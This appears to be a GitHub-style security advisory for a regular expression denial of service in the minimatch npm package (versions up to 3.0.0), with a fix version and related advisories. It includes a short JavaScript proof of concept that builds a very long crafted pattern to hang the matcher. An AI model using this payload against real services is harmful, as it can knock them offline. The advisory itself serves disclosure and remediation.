Vulnerability GHSA-hxm2-r34f-qmc5

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
8 years ago
October 09, 2018 at 12:40 AM UTC
Regular Expression Denial of Service in minimatch
0.0.1 - 3.0.0
0.0.1 - 3.0.0

Summary

Regular Expression Denial of Service in minimatch

Details

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Related Vulnerabilities

Other vulnerabilities affecting the same packages

Medium Risk
6 hours ago
minimatch has potential denial of service via globparts amplification
0.0.1 - 11.0.0 GHSA-g3hv-75wg-m249
0.0.1 - 11.0.0 GHSA-g3hv-75wg-m249
High Risk
8 months ago
minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
0.0.1 - 3.1.2 and 4.0.0 - 4.2.4 and 5.0.0 - 5.1.7 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.7 and 8.0.0 - 8.0.5 and 9.0.0 - 9.0.6 and 10.0.0 - 10.2.2 GHSA-7r86-cg39-jmmj
0.0.1 - 3.1.2 and 4.0.0 - 4.2.4 and 5.0.0 - 5.1.7 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.7 and 8.0.0 - 8.0.5 and 9.0.0 - 9.0.6 and 10.0.0 - 10.2.2 GHSA-7r86-cg39-jmmj
High Risk
8 months ago
minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
0.0.1 - 3.1.3 and 4.0.0 - 4.2.4 and 5.0.0 - 5.1.7 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.7 and 8.0.0 - 8.0.5 and 9.0.0 - 9.0.6 and 10.0.0 - 10.2.2 GHSA-23c5-xmqv-rm74
0.0.1 - 3.1.3 and 4.0.0 - 4.2.4 and 5.0.0 - 5.1.7 and 6.0.0 - 6.2.1 and 7.0.0 - 7.4.7 and 8.0.0 - 8.0.5 and 9.0.0 - 9.0.6 and 10.0.0 - 10.2.2 GHSA-23c5-xmqv-rm74
High Risk
8 months ago
minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
0.0.1 - 3.1.2 and 4.0.0 - 4.2.3 and 5.0.0 - 5.1.6 and 6.0.0 - 6.2.0 and 7.0.0 - 7.4.6 and 8.0.0 - 8.0.4 and 9.0.0 - 9.0.5 and 10.0.0 - 10.2.0 GHSA-3ppc-4f35-3m26
0.0.1 - 3.1.2 and 4.0.0 - 4.2.3 and 5.0.0 - 5.1.6 and 6.0.0 - 6.2.0 and 7.0.0 - 7.4.6 and 8.0.0 - 8.0.4 and 9.0.0 - 9.0.5 and 10.0.0 - 10.2.0 GHSA-3ppc-4f35-3m26
High Risk
4 years ago
minimatch ReDoS vulnerability
0.0.1 - 3.0.4 GHSA-f8q6-p94x-37v3
0.0.1 - 3.0.4 GHSA-f8q6-p94x-37v3
View all vulnerabilities for these packages

Impacted packages

Timeline

Published
8 years ago
October 09, 2018 at 12:40 AM UTC
Fixed (3.0.2)
10 years ago
June 17, 2016 at 08:13 PM UTC
Last Modified
2 years ago
November 08, 2023 at 03:58 AM UTC